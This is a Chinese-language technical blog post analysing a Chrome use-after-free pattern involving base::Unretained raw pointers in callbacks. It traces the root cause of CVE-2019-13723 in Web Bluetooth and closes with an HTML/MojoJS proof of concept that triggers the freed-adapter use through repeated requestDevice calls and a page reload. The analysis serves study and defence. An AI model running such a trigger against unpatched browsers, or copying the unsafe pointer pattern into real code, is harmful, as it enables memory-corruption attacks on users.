Chrome UAF漏洞模式浅析(二):callback storing raw pointer

 

前序

本篇和上一篇有所类似,但是本篇主要用到的特性偏重于对象ownership关系的误用,以及callback里指针的不安全用法。
基础知识里主要需要了解chromium里callback的一些用法,参考官方文档,这里我仅仅摘录一些必要了解的知识。

 

前置基础: callback

Introduction

base::Callback<>类模板和定义在base/bind.h里的base::Bind()函数提供了一种用于执行partial application of functions类型安全的方法。

Partial application是将函数参数的子集进行bind以产生另一个需要较少参数的函数的过程,这可以用来延迟执行的单位,就像其他语言中使用的词法闭包一样,它用来在Chromium中调度不同MessageLoops上的任务。

没有未绑定的输入参数的回调称为base::Closure,请注意这与其他语言的闭包不同,它不保留对其封闭环境的引用。

OnceCallback<>和RepeatingCallback<>

base::OnceCallback<>base::RepeatingCallback<>是下一代回调类。

base::OnceCallback<>base::BindOnce()创建,这是move-only类型的回调变体,仅可运行一次。默认情况下,这会让绑定参数从其内部存储,move到绑定函数,因此,moveable类型更易于使用,这应该是首选的回调类型:由于回调的生命周期很明确,因此很容易推断,回调在线程之间传递的时候,是什么时候被销毁

base::RepeatingCallback<>base::BindRepeating()创建,这是一个可复制的回调变体,可以多次运行,它内部使用引用计数来减少副本带来的性能代价,但是由于所有权是共享的,所以很难推断何时回调和BoundState被破坏,尤其是在线程之间传递回调的时候。

旧版base::Callback<>当前别名为base::RepeatingCallback<>

Quick reference for basic stuff

Binding A Bare Function

int Return5() { return 5; }
base::OnceCallback<int()> func_cb = base::BindOnce(&Return5);
LOG(INFO) << std::move(func_cb).Run();  // Prints 5.
int Return5() { return 5; }
base::RepeatingCallback<int()> func_cb = base::BindRepeating(&Return5);
LOG(INFO) << func_cb.Run();  // Prints 5.

Quick reference for binding parameters to Bind()

Bound parameters作为base::Bind()的参数被指定,并且被传递给function,举例来说,在回调foo函数调用的时候,Bind的第二个参数base::Owned(pn)就被传递给foo,作为其参数arg使用。

void foo(int* arg) { cout << *arg << endl; }
base::Bind(&foo, base::Owned(pn));

没有参数,或者没有未绑定参数的回调称为base::Closure,即闭包,其就代表base::Callback<void()>

Passing Parameters Owned By The Callback

void Foo(int* arg) { cout << *arg << endl; }
int* pn = new int(1);
base::Closure foo_callback = base::Bind(&foo, base::Owned(pn));

即使未运行回调,该参数也会在回调被destroy后被delete。

 

漏洞模式

Chrome里的callback通常通过base::BindOnce或者base::BindRepeating创建,当callback被创建的时候,参数被bound到callback上。不同类型的bind指定如何管理bind state。
这其中最危险的一种是base::Unretained

base::Bind(&MyClass::Foo, base::Unretained(ptr));

这代表callback对象不own ptr,由callback的调用者来保证当callback被执行的时候,ptr还存在。虽然很危险,但这是一个众所周知的问题,开发人员通常会意识到后果,Unretained的许多用法都有说明其用法合理的注释。

漏洞分析: CVE-2019-13723

https://bugs.chromium.org/p/chromium/issues/detail?id=1024121

root cause

void WebBluetoothServiceImpl::RequestDevice(
    blink::mojom::WebBluetoothRequestDeviceOptionsPtr options,
    RequestDeviceCallback callback) {
  RecordRequestDeviceOptions(options);

  if (!GetAdapter()) {
    if (BluetoothAdapterFactoryWrapper::Get().IsLowEnergySupported()) {
      BluetoothAdapterFactoryWrapper::Get().AcquireAdapter(                        
          this, base::BindOnce(&WebBluetoothServiceImpl::RequestDeviceImpl,//[0]
                               weak_ptr_factory_.GetWeakPtr(),
                               std::move(options), std::move(callback)));
      return;
    }
    RecordRequestDeviceOutcome(
        UMARequestDeviceOutcome::BLUETOOTH_LOW_ENERGY_NOT_AVAILABLE);
    std::move(callback).Run(
        blink::mojom::WebBluetoothResult::BLUETOOTH_LOW_ENERGY_NOT_AVAILABLE,
        nullptr /* device */);
    return;
  }
  RequestDeviceImpl(std::move(options), std::move(callback), GetAdapter());    
}
void BluetoothAdapterFactoryWrapper::AcquireAdapter(
    BluetoothAdapter::Observer* observer,
    AcquireAdapterCallback callback) {
  DCHECK(thread_checker_.CalledOnValidThread());
  DCHECK(!GetAdapter(observer));

  AddAdapterObserver(observer);
  if (adapter_.get()) {
    base::ThreadTaskRunnerHandle::Get()->PostTask(
        FROM_HERE,
        base::BindOnce(std::move(callback), base::Unretained(adapter_.get())));//[1]
    return;
  }

  DCHECK(BluetoothAdapterFactory::Get().IsLowEnergySupported());
  BluetoothAdapterFactory::GetAdapter(
      base::BindOnce(&BluetoothAdapterFactoryWrapper::OnGetAdapter,
                     weak_ptr_factory_.GetWeakPtr(), std::move(callback)));
}
void WebBluetoothServiceImpl::DidFinishNavigation
   ===>
        void WebBluetoothServiceImpl::ClearState() {
          .....
          BluetoothAdapterFactoryWrapper::Get().ReleaseAdapter(this);
        }
        ===> 
            void BluetoothAdapterFactoryWrapper::ReleaseAdapter(
                BluetoothAdapter::Observer* observer) {
              DCHECK(thread_checker_.CalledOnValidThread());
              if (!HasAdapter(observer)) {
                return;
              }
              RemoveAdapterObserver(observer);
              if (adapter_observers_.empty())
                set_adapter(scoped_refptr<BluetoothAdapter>());//[2]
            }
void WebBluetoothServiceImpl::RequestDeviceImpl
{
    ...
    device_chooser_controller_.reset();
    device_chooser_controller_.reset(
        new BluetoothDeviceChooserController(this, render_frame_host_, adapter));//[3]
    ...
    device_chooser_controller_->GetDevice(
      std::move(options),
      base::Bind(&WebBluetoothServiceImpl::OnGetDeviceSuccess,
                 weak_ptr_factory_.GetWeakPtr(), copyable_callback),
      base::Bind(&WebBluetoothServiceImpl::OnGetDeviceFailed,
                 weak_ptr_factory_.GetWeakPtr(), copyable_callback))
}
void BluetoothDeviceChooserController::GetDevice
{
    ...
    if (!adapter_->IsPresent()) {//[4]
    DVLOG(1) << "Bluetooth Adapter not present. Can't serve requestDevice.";
    RecordRequestDeviceOutcome(
        UMARequestDeviceOutcome::BLUETOOTH_ADAPTER_NOT_PRESENT);
    PostErrorCallback(WebBluetoothResult::NO_BLUETOOTH_ADAPTER);
    return;
  }
}
  • [0] 这里将RequestDeviceImpl和它的参数this(以weak_ptr的形式引用,见上文前置知识),options,callback打包成一个callback传给AcquireAdapter,从而被异步调用。
    base::BindOnce(&WebBluetoothServiceImpl::RequestDeviceImpl,
                                 weak_ptr_factory_.GetWeakPtr(),
                                 std::move(options), std::move(callback)
    
  • [1] BluetoothAdapterFactoryWrapper::Get是一个static函数,它的作用就是拿到一个全局唯一的BluetoothAdapterFactoryWrapper类型的单例对象,并调用其AcquireAdapter方法,这个方法的作用是:如果单例对象的adapter_不为空,就先通过base::ThreadTaskRunnerHandle::Get()拿到当前线程的taskrunner(这里应该是Browser::UI线程),并将在[0]里打包好的callback作为任务,adapter_.get()里保存的原始指针作为任务的参数,发布到当前线程的taskrunner里,等待message loop取出任务并执行。但因为adapter_.get()是Unretained装饰的,其并不被任务own,也就是说即使这个指针指向的对象被析构,变成了一个野指针,这个任务也会执行,所以就有UAF的可能,我们需要找一下在哪里能析构掉它
  • [2] WebBluetoothServiceImpl继承自WebContentsObserver,所以当一个WebBluetoothServiceImpl被构造,它就会被加到它关联的那个WebContentsImpl的observers_观察者队列里,当页面被刷新的时候,WebContentsImpl::DidFinishNavigation将遍历它所有的观察者,并调用其observer->DidFinishNavigation方法,这个方法最终将释放掉adapter对象。
    void WebContentsImpl::DidFinishNavigation(NavigationHandle* navigation_handle) {
    TRACE_EVENT1("navigation", "WebContentsImpl::DidFinishNavigation",
                 "navigation_handle", navigation_handle);
    
    observers_.ForEachObserver([&](WebContentsObserver* observer) {
      observer->DidFinishNavigation(navigation_handle);
    });
    
  • [3] 当adapter被释放之后,若任务队列里还有在[0]里被打包好的WebBluetoothServiceImpl::RequestDeviceImpl没有执行,当其执行的时候,就会将adapter原始指针传递给BluetoothDeviceChooserController,即此时device_chooser_controller_持有的是一个已经被析构了的adapter对象。
  • [4] 当device_chooser_controller_在这个被析构了的adapter对象上调用IsPresent方法,就会触发一个UAF。

poc

<html>
<head>
<script src="mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/bluetooth/web_bluetooth.mojom.js"></script>

<script>
var x = 0;
var ptr;
var option;
ptr = new blink.mojom.WebBluetoothServicePtr();
Mojo.bindInterface(blink.mojom.WebBluetoothService.name, mojo.makeRequest(ptr).handle, "context", true);

function tigger(){
        console.log("tigger()");
        ptr = new blink.mojom.WebBluetoothServicePtr();
        Mojo.bindInterface(blink.mojom.WebBluetoothService.name, mojo.makeRequest(ptr).handle, "context", true);
        option = new Array();
    option.acceptAllDevices = true;
    option.optionalServices = new Array();
    option.optionalServices.uuid = "11111111";
    ptr.requestDevice(option);

}

document.addEventListener("DOMContentLoaded", () => { 
for(var i = 0; i < 100; i++) { 
    tigger();
} 
    document.location.reload(); 
}); 

</script>
</head>
<body>
</body>
</html>

 

后记

本篇提到的callback里不规范的指针用法已经鲜有表层漏洞,但是结合一些其他的点,串起来,仍旧可以旧瓶装新酒,读者可以多多思考。

(完)